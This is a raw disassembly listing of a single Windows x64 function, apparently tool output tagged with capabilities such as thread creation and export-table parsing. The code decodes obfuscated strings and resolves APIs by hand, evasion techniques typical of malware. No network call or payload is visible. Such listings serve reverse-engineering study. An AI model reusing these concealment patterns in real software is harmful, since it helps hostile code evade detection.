Function at 0x140007d80
Capabilities:
Create thread
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa80]
sub rsp, 0xb80
mov rax, qword [0x140267930]
xor rax, rsp
mov qword [rbp + 0xa70], rax
call fcn.14000b6f0
xorps xmm0, xmm0
lea rdx, str.vBrY4sHk_LzwP_k4uP3tvz_nk7w
mov r13, rax
lea rdi, [0x140233000]
xor eax, eax
lea r8, [0x140232468]
mov r11d, 4
mov word [rbp - 0x80], ax
mov byte [rbp - 0x7e], al
mov ecx, r11d
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
nop dword [rax]
nop dword [rax + rax]
movsx rax, byte [rdx]
inc rdx
cmp dword [rdi + rax*4], 0xff
je 0x140007e17
add ecx, 0xffffffff
cmove ecx, r11d
cmp rdx, r8
jne 0x140007e00
xor eax, eax
lea rdx, str.FxrY4tf6vn19LzwP_k4uP3tvz_nk7w
xorps xmm0, xmm0
mov dword [rbp - 0x80], eax
movups xmmword [rsp + 0x60], xmm0
mov word [rbp - 0x7c], ax
mov ecx, r11d
movups xmmword [rsp + 0x70], xmm0
mov byte [rbp - 0x7a], al
lea r8, [0x140232494]
nop word [rax + rax]
movsx rax, byte [rdx]
inc rdx
cmp dword [rdi + rax*4], 0xff
je 0x140007e67
add ecx, 0xffffffff
cmove ecx, r11d
cmp rdx, r8
jne 0x140007e50
xor eax, eax
lea r9, str.MRrY4sbkeLz9eLA_Ti4_f62_P7eTv
xorps xmm0, xmm0
mov word [rbp - 0x58], ax
xor ebx, ebx
mov byte [rbp - 0x56], al
mov ecx, ebx
lea rdx, [rbp - 0x78]
movups xmmword [rbp - 0x78], xmm0
mov r8d, r11d
lea rsi, [0x1402324b8]
movups xmmword [rbp - 0x68], xmm0
nop dword [rax]
movsx rax, byte [r9]
inc r9
mov r10d, dword [rdi + rax*4]
cmp r10d, 0xff
je 0x140007ed7
shl ecx, 6
or ecx, r10d
add r8d, 0xffffffff
jne 0x140007ed7
mov byte [rdx + 2], cl
mov r8d, r11d
shr ecx, 8
mov byte [rdx + 1], cl
shr ecx, 8
mov byte [rdx], cl
add rdx, 3
mov ecx, ebx
cmp r9, rsi
jne 0x140007ea0
sub r8d, 1
je 0x140007eed
cmp r8d, 1
jne 0x140007ef8
shr ecx, 4
jmp 0x140007ef6
shr ecx, 2
mov byte [rdx + 1], cl
shr ecx, 8
mov byte [rdx], cl
movzx ecx, byte [rbp - 0x77]
lea rax, [rsp + 0x48]
xor cl, 0x8c
test al, 1
jne 0x140007fcf
movzx eax, cl
xor al, byte [rbp - 0x76]
mov byte [rbp - 0x78], al
movzx eax, cl
xor al, byte [rbp - 0x75]
mov byte [rbp - 0x77], al
movzx eax, cl
xor al, byte [rbp - 0x74]
mov byte [rbp - 0x76], al
movzx eax, cl
xor al, byte [rbp - 0x73]
mov byte [rbp - 0x75], al
movzx eax, cl
xor al, byte [rbp - 0x72]
mov byte [rbp - 0x74], al
movzx eax, cl
xor al, byte [rbp - 0x71]
mov byte [rbp - 0x73], al
movzx eax, cl
xor al, byte [rbp - 0x70]
mov byte [rbp - 0x72], al
movzx eax, cl
xor al, byte [rbp - 0x6f]
mov byte [rbp - 0x71], al
movzx eax, cl
xor al, byte [rbp - 0x6e]
mov byte [rbp - 0x70], al
movzx eax, cl
xor al, byte [rbp - 0x6d]
mov byte [rbp - 0x6f], al
movzx eax, cl
xor al, byte [rbp - 0x6c]
mov byte [rbp - 0x6e], al
movzx eax, cl
xor al, byte [rbp - 0x6b]
mov byte [rbp - 0x6d], al
movzx eax, cl
xor al, byte [rbp - 0x6a]
mov byte [rbp - 0x6c], al
movzx eax, cl
xor al, byte [rbp - 0x69]
mov byte [rbp - 0x6b], al
movzx eax, cl
xor al, byte [rbp - 0x68]
mov byte [rbp - 0x6a], al
movzx eax, cl
xor al, byte [rbp - 0x67]
mov byte [rbp - 0x69], al
movzx eax, cl
xor al, byte [rbp - 0x66]
mov byte [rbp - 0x68], al
movzx eax, cl
xor al, byte [rbp - 0x65]
mov byte [rbp - 0x67], al
movzx eax, cl
xor al, byte [rbp - 0x64]
mov byte [rbp - 0x66], al
movzx eax, cl
xor al, byte [rbp - 0x63]
mov byte [rbp - 0x65], al
movzx eax, cl
xor al, byte [rbp - 0x62]
xor cl, byte [rbp - 0x61]
mov byte [rbp - 0x63], cl
mov byte [rbp - 0x64], al
xor eax, eax
mov byte [rbp - 0x62], bl
xorps xmm0, xmm0
mov qword [rsp + 0x70], rax
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x78], eax
lea rdx, str.GxrY4sTz9_LA_Ti4_f62_P7eTv
mov word [rsp + 0x7c], ax
lea r8, [0x1402324dc]
mov byte [rsp + 0x7e], al
mov ecx, r11d
nop
movsx rax, byte [rdx]
inc rdx
cmp dword [rdi + rax*4], 0xff
je 0x140008017
add ecx, 0xffffffff
cmove ecx, r11d
cmp rdx, r8
jne 0x140008000
mov r15d, 0x4f0f
mov rcx, rbx
mov eax, r15d
mov rdx, rbx
nop dword [rax + rax]
mov r12, 0xffffffffffffffff
cmp eax, 0x506c
je 0x140008058
cmp eax, 0x5010
jae 0x14000804f
mov rcx, r13
mov eax, 0x506c
jmp 0x140008030
cmp eax, 0x55f0
jbe 0x140008030
jmp 0x14000806b
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx + 0x88], ebx
je 0x1400080f6
mov eax, dword [rdx + 0x88]
mov r15d, ebx
add rax, r13
mov ecx, dword [rax + 0x18]
mov dword [rsp + 0x38], ecx
test ecx, ecx
jle 0x1400080f0
mov ecx, dword [rax + 0x1c]
lea rdx, [rbp - 0x78]
mov qword [rsp + 0x40], rcx
mov rdi, r12
inc rdi
cmp byte [rdx + rdi], bl
jne 0x140008091
mov esi, dword [rax + 0x20]
mov r14d, dword [rax + 0x24]
add rsi, r13
add r14, r13
nop word [rax + rax]
movzx eax, word [r14]
lea rdx, [rbp - 0x78]
mov r8, rdi
lea rcx, [rcx + rax*4]
mov eax, dword [rcx + r13]
mov ecx, dword [rsi]
add rcx, r13
mov dword [rsp + 0x30], eax
call fcn.1401ad870
test eax, eax
je 0x14000830d
mov rcx, qword [rsp + 0x40]
inc r15d
add r14, 2
add rsi, 4
cmp r15d, dword [rsp + 0x38]
jl 0x1400080b0
mov r15d, 0x4f0f
mov rdi, rbx
xor eax, eax
lea r8, str.ERrY4sTz5eP788L5PP38g
xorps xmm0, xmm0
mov qword [rsp + 0x70], rax
mov esi, 4
mov word [rsp + 0x78], ax
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x7a], al
lea rcx, [0x1402324f8]
mov edx, esi
lea r14, [0x140233000]
nop dword [rax]
movsx rax, byte [r8]
inc r8
cmp dword [r14 + rax*4], 0xff
je 0x140008147
add edx, 0xffffffff
cmove edx, esi
cmp r8, rcx
jne 0x140008130
mov rcx, rdi
call fcn.14000c270
mov rcx, rdi
call fcn.140008d30
call fcn.140009440
mov rcx, rdi
call fcn.14000c270
mov rcx, rdi
call fcn.140008d30
xor edx, edx
lea rcx, [rbp + 0x50]
mov r8d, 0x100
call fcn.1401ad230
xor edx, edx
lea rcx, [rbp + 0x150]
mov r8d, 0x100
call fcn.1401ad230
xorps xmm0, xmm0
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x150]
movups xmmword [0x140275260], xmm0
movups xmmword [0x140275270], xmm0
movups xmmword [0x140275280], xmm0
movups xmmword [0x140275290], xmm0
call fcn.140009070
xor edx, edx
lea rcx, [rbp + 0x450]
mov r8d, 0x200
call fcn.1401ad230
xor edx, edx
lea rcx, [rbp + 0x250]
mov r8d, 0x200
call fcn.1401ad230
mov r9d, r12d
mov dword [rsp + 0x28], ebx
lea r8, [rbp + 0x50]
mov qword [rsp + 0x20], rbx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jle 0x140008232
mov dword [rsp + 0x28], eax
lea r8, [rbp + 0x50]
lea rax, [rbp + 0x450]
mov r9d, r12d
xor edx, edx
mov qword [rsp + 0x20], rax
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0x28], ebx
lea r8, [rbp + 0x150]
mov r9d, r12d
mov qword [rsp + 0x20], rbx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jle 0x14000827d
mov dword [rsp + 0x28], eax
lea r8, [rbp + 0x150]
lea rax, [rbp + 0x250]
mov r9d, r12d
xor edx, edx
mov qword [rsp + 0x20], rax
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call fcn.14000b8a0
mov r13, rax
lea r9, str.AGrd_7X9f7v9v_c8_b_1Pv3_80
xor eax, eax
lea rdx, [rsp + 0x60]
xorps xmm0, xmm0
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], eax
lea r11, [0x14023251c]
mov word [rsp + 0x7c], ax
mov ecx, ebx
mov byte [rsp + 0x7e], al
mov r8d, esi
movups xmmword [rsp + 0x60], xmm0
nop dword [rax]
movsx rax, byte [r9]
inc r9
mov r10d, dword [r14 + rax*4]
cmp r10d, 0xff
je 0x1400082f7
shl ecx, 6
or ecx, r10d
add r8d, 0xffffffff
jne 0x1400082f7
mov byte [rdx + 2], cl
mov r8d, esi
shr ecx, 8
mov byte [rdx + 1], cl
shr ecx, 8
mov byte [rdx], cl
add rdx, 3
mov ecx, ebx
cmp r9, r11
jne 0x1400082c0
sub r8d, 1
je 0x14000831f
cmp r8d, 1
jne 0x14000832a
shr ecx, 4
jmp 0x140008328
mov edi, dword [rsp + 0x30]
mov r15d, 0x4f0f
add rdi, r13
jmp 0x1400080f9
shr ecx, 2
mov byte [rdx + 1], cl
shr ecx, 8
mov byte [rdx], cl
movzx ecx, byte [rsp + 0x61]
lea rax, [rsp + 0x4c]
xor cl, 0xf0
test al, 1
jne 0x140008405
movzx eax, cl
xor al, byte [rsp + 0x62]
mov byte [rsp + 0x60], al
movzx eax, cl
xor al, byte [rsp + 0x63]
mov byte [rsp + 0x61], al
movzx eax, cl
xor al, byte [rsp + 0x64]
mov byte [rsp + 0x62], al
movzx eax, cl
xor al, byte [rsp + 0x65]
mov byte [rsp + 0x63], al
movzx eax, byte [rsp + 0x66]
xor al, cl
mov byte [rsp + 0x64], al
movzx eax, byte [rsp + 0x67]
xor al, cl
mov byte [rsp + 0x65], al
movzx eax, byte [rsp + 0x68]
xor al, cl
mov byte [rsp + 0x66], al
movzx eax, byte [rsp + 0x69]
xor al, cl
mov byte [rsp + 0x67], al
movzx eax, byte [rsp + 0x6a]
xor al, cl
mov byte [rsp + 0x68], al
movzx eax, byte [rsp + 0x6b]
xor al, cl
mov byte [rsp + 0x69], al
movzx eax, byte [rsp + 0x6c]
xor al, cl
mov byte [rsp + 0x6a], al
movzx eax, byte [rsp + 0x6d]
xor al, cl
mov byte [rsp + 0x6b], al
movzx eax, byte [rsp + 0x6e]
xor al, cl
mov byte [rsp + 0x6c], al
movzx eax, byte [rsp + 0x6f]
xor al, cl
mov byte [rsp + 0x6d], al
movzx eax, byte [rsp + 0x70]
xor al, cl
mov byte [rsp + 0x6e], al
movzx eax, byte [rsp + 0x71]
xor al, cl
mov byte [rsp + 0x6f], al
movzx eax, byte [rsp + 0x72]
xor al, cl
mov byte [rsp + 0x70], al
movzx eax, byte [rsp + 0x73]
xor al, cl
mov byte [rsp + 0x71], al
mov byte [rsp + 0x72], bl
mov rcx, rbx
mov rdx, rbx
mov eax, r15d
cmp eax, 0x506c
je 0x140008433
cmp eax, 0x5010
jae 0x14000842a
mov rcx, r13
mov eax, 0x506c
jmp 0x140008412
cmp eax, 0x55f0
jbe 0x140008412
jmp 0x140008446
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx + 0x88], ebx
je 0x1400084d7
mov eax, dword [rdx + 0x88]
mov r15d, ebx
add rax, r13
mov ecx, dword [rax + 0x18]
mov dword [rsp + 0x30], ecx
test ecx, ecx
jle 0x1400084d1
mov ecx, dword [rax + 0x1c]
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x40], rcx
mov rdi, r12
nop dword [rax]
inc rdi
cmp byte [rdx + rdi], bl
jne 0x140008470
mov esi, dword [rax + 0x20]
mov r14d, dword [rax + 0x24]
add rsi, r13
add r14, r13
nop word [rax + rax]
movzx eax, word [r14]
lea rdx, [rsp + 0x60]
mov r8, rdi
lea rcx, [rcx + rax*4]
mov eax, dword [rcx + r13]
mov ecx, dword [rsi]
add rcx, r13
mov dword [rsp + 0x38], eax
call fcn.1401ad870
test eax, eax
je 0x14000857d
mov rcx, qword [rsp + 0x40]
inc r15d
add r14, 2
add rsi, 4
cmp r15d, dword [rsp + 0x30]
jl 0x140008490
mov r15d, 0x4f0f
mov rax, rbx
mov r8d, 0x104
lea rdx, [rbp + 0x860]
xor ecx, ecx
call rax
test eax, eax
je 0x140008a18
xor eax, eax
lea r9, str.Qxrb8_L_98Pm8vfi8w
xorps xmm0, xmm0
mov dword [rbp - 0x40], eax
mov edi, 4
mov word [rbp - 0x3c], ax
movups xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x3a], al
lea rdx, [rbp - 0x50]
mov r8d, edi
lea r11, [0x140232534]
mov ecx, ebx
lea rsi, [0x140233000]
nop dword [rax]
movsx rax, byte [r9]
inc r9
mov r10d, dword [rsi + rax*4]
cmp r10d, 0xff
je 0x140008567
shl ecx, 6
or ecx, r10d
add r8d, 0xffffffff
jne 0x140008567
mov byte [rdx + 2], cl
mov r8d, edi
shr ecx, 8
mov byte [rdx + 1], cl
shr ecx, 8
mov byte [rdx], cl
add rdx, 3
mov ecx, ebx
cmp r9, r11
jne 0x140008530
sub r8d, 1
je 0x14000858f
cmp r8d, 1
jne 0x14000859a
shr ecx, 4
jmp 0x140008598
mov eax, dword [rsp + 0x38]
mov r15d, 0x4f0f
add rax, r13
jmp 0x1400084da
shr ecx, 2
mov byte [rdx + 1], cl
shr ecx, 8
mov byte [rdx], cl
movzx ecx, byte [rbp - 0x4f]
lea rax, [rsp + 0x50]
xor cl, 0x8c
test al, 1
jne 0x14000860d
movzx eax, byte [rbp - 0x4e]
xor al, cl
mov byte [rbp - 0x50], al
movzx eax, byte [rbp - 0x4d]
xor al, cl
mov byte [rbp - 0x4f], al
movzx eax, byte [rbp - 0x4c]
xor al, cl
mov byte [rbp - 0x4e], al
movzx eax, byte [rbp - 0x4b]
xor al, cl
mov byte [rbp - 0x4d], al
movzx eax, byte [rbp - 0x4a]
xor al, cl
mov byte [rbp - 0x4c], al
movzx eax, byte [rbp - 0x49]
xor al, cl
mov byte [rbp - 0x4b], al
movzx eax, byte [rbp - 0x48]
xor al, cl
mov byte [rbp - 0x4a], al
movzx eax, byte [rbp - 0x47]
xor al, cl
mov byte [rbp - 0x49], al
movzx eax, byte [rbp - 0x46]
xor al, cl
mov byte [rbp - 0x48], al
movzx eax, byte [rbp - 0x45]
xor al, cl
mov byte [rbp - 0x47], al
movzx eax, byte [rbp - 0x44]
xor al, cl
mov byte [rbp - 0x46], al
xor edx, edx
mov byte [rbp - 0x45], bl
mov r8d, 0x208
lea rcx, [rbp + 0x650]
call fcn.1401ad230
mov r9d, r12d
mov dword [rsp + 0x28], ebx
lea r8, [rbp - 0x50]
mov qword [rsp + 0x20], rbx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jle 0x140008669
mov dword [rsp + 0x28], eax
lea r8, [rbp - 0x50]
lea rax, [rbp + 0x650]
mov r9d, r12d
xor edx, edx
mov qword [rsp + 0x20], rax
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x860]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
je 0x14000868c
call fcn.14000ace0
jmp 0x140008a18
mov qword [rsp + 0x28], rbx
lea r8, [0x1400079b0]
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r14, qword [0x140275238]
mov qword [rsp + 0x38], rax
test r14, r14
jne 0x1400087ff
xor eax, eax
lea r9, str.1QPEwtTDgoOf1d3d
xorps xmm0, xmm0
mov word [rbp - 0x68], ax
movups xmmword [rbp - 0x78], xmm0
mov byte [rbp - 0x66], al
lea rdx, [rbp - 0x78]
mov ecx, ebx
lea r11, [0x1402327e0]
mov r8d, edi
movsx rax, byte [r9]
inc r9
mov r10d, dword [rsi + rax*4]
cmp r10d, 0xff
je 0x14000871c
shl ecx, 6
or ecx, r10d
add r8d, 0xffffffff
jne 0x14000871c
mov byte [rdx + 2], cl
mov r8d, edi
shr ecx, 8
mov byte [rdx + 1], cl
shr ecx, 8
mov byte [rdx], cl
add rdx, 3
mov ecx, ebx
cmp r9, r11
jne 0x1400086e5
sub r8d, 1
je 0x140008732
cmp r8d, 1
jne 0x14000873d
shr ecx, 4
jmp 0x14000873b
shr ecx, 2
mov byte [rdx + 1], cl
shr ecx, 8
mov byte [rdx], cl
movzx ecx, byte [rbp - 0x77]
lea rax, [rsp + 0x54]
xor cl, 0xb2
test al, 1
jne 0x1400087a7
movzx eax, byte [rbp - 0x76]
xor al, cl
mov byte [rbp - 0x78], al
movzx eax, byte [rbp - 0x75]
xor al, cl
mov byte [rbp - 0x77], al
movzx eax, byte [rbp - 0x74]
xor al, cl
mov byte [rbp - 0x76], al
movzx eax, byte [rbp - 0x73]
xor al, cl
mov byte [rbp - 0x75], al
movzx eax, byte [rbp - 0x72]
xor al, cl
mov byte [rbp - 0x74], al
movzx eax, byte [rbp - 0x71]
xor al, cl
mov byte [rbp - 0x73], al
movzx eax, byte [rbp - 0x70]
xor al, cl
mov byte [rbp - 0x72], al
movzx eax, byte [rbp - 0x6f]
xor al, cl
mov byte [rbp - 0x71], al
movzx eax, byte [rbp - 0x6e]
xor al, cl
mov byte [rbp - 0x70], al
movzx eax, byte [rbp - 0x6d]
xor al, cl
mov byte [rbp - 0x6f], al
mov dword [rsp + 0x28], ebx
lea r8, [rbp - 0x78]
mov r9d, r12d
mov qword [rsp + 0x20], rbx
xor edx, edx
mov byte [rbp - 0x6e], bl
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jle 0x1400087ec
mov dword [rsp + 0x28], eax
lea r8, [rbp - 0x78]
lea rax, [rbp - 0x30]
mov r9d, r12d
xor edx, edx
mov qword [rsp + 0x20], rax
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rbp - 0x30]
call fcn.140008a50
mov r14, rax
mov qword [0x140275238], rax
xor eax, eax
lea r9, str.kxrb8Xl9_Hz1PnuwQ
xorps xmm0, xmm0
mov dword [rsp + 0x70], eax
movups xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x74], ax
lea rdx, [rsp + 0x60]
mov byte [rsp + 0x76], al
lea r11, [0x14023254c]
mov ecx, ebx
mov r8d, edi
nop
movsx rax, byte [r9]
inc r9
mov r10d, dword [rsi + rax*4]
cmp r10d, 0xff
je 0x140008867
shl ecx, 6
or ecx, r10d
add r8d, 0xffffffff
jne 0x140008867
mov byte [rdx + 2], cl
mov r8d, edi
shr ecx, 8
mov byte [rdx + 1], cl
shr ecx, 8
mov byte [rdx], cl
add rdx, 3
mov ecx, ebx
cmp r9, r11
jne 0x140008830
sub r8d, 1
je 0x14000887d
cmp r8d, 1
jne 0x140008888
shr ecx, 4
jmp 0x140008886
shr ecx, 2
mov byte [rdx + 1], cl
shr ecx, 8
mov byte [rdx], cl
movzx ecx, byte [rsp + 0x61]
lea rax, [rsp + 0x58]
xor cl, 0x8c
test al, 1
jne 0x140008912
movzx eax, byte [rsp + 0x62]
xor al, cl
mov byte [rsp + 0x60], al
movzx eax, byte [rsp + 0x63]
xor al, cl
mov byte [rsp + 0x61], al
movzx eax, byte [rsp + 0x64]
xor al, cl
mov byte [rsp + 0x62], al
movzx eax, byte [rsp + 0x65]
xor al, cl
mov byte [rsp + 0x63], al
movzx eax, byte [rsp + 0x66]
xor al, cl
mov byte [rsp + 0x64], al
movzx eax, byte [rsp + 0x67]
xor al, cl
mov byte [rsp + 0x65], al
movzx eax, byte [rsp + 0x68]
xor al, cl
mov byte [rsp + 0x66], al
movzx eax, byte [rsp + 0x69]
xor al, cl
mov byte [rsp + 0x67], al
movzx eax, byte [rsp + 0x6a]
xor al, cl
mov byte [rsp + 0x68], al
movzx eax, byte [rsp + 0x6b]
xor al, cl
mov byte [rsp + 0x69], al
movzx eax, byte [rsp + 0x6c]
xor al, cl
mov byte [rsp + 0x6a], al
mov byte [rsp + 0x6b], bl
mov rcx, rbx
mov r8, rbx
nop dword [rax]
mov rdx, rcx
mov eax, r15d
cmp r15d, 0x506c
je 0x14000895f
cmp eax, 0x5010
jae 0x14000894a
cmp eax, 0x5010
mov rcx, r14
mov r15d, 0x506c
cmovae rcx, rdx
jmp 0x140008920
cmp eax, 0x55f0
ja 0x140008973
cmp eax, 0x5010
mov rcx, r14
cmovae rcx, rdx
jmp 0x140008920
movsxd r8, dword [rcx + 0x3c]
add r8, rcx
cmp dword [r8 + 0x88], ebx
je 0x1400089f3
mov eax, dword [r8 + 0x88]
mov r15d, ebx
add rax, r14
mov r13d, dword [rax + 0x18]
test r13d, r13d
jle 0x1400089f3
mov ecx, dword [rax + 0x1c]
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x40], rcx
inc r12
cmp byte [rdx + r12], bl
jne 0x140008996
mov edi, dword [rax + 0x20]
mov esi, dword [rax + 0x24]
add rdi, r14
add rsi, r14
nop dword [rax + rax]
movzx eax, word [rsi]
lea rdx, [rsp + 0x60]
mov r8, r12
lea rcx, [rcx + rax*4]
mov eax, dword [rcx + r14]
mov ecx, dword [rdi]
add rcx, r14
mov dword [rsp + 0x30], eax
call fcn.1401ad870
test eax, eax
je 0x1400089ec
mov rcx, qword [rsp + 0x40]
inc r15d
add rsi, 2
add rdi, 4
cmp r15d, r13d
jl 0x1400089b0
jmp 0x1400089f3
mov ebx, dword [rsp + 0x30]
add rbx, r14
xor r9d, r9d
lea r8, [rbp + 0x250]
lea rdx, [rbp + 0x450]
xor ecx, ecx
call rbx
mov rcx, qword [rsp + 0x38]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
mov rcx, qword [rbp + 0xa70]
xor rcx, rsp
call fcn.1401aaa90
lea r11, [rsp + 0xb80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret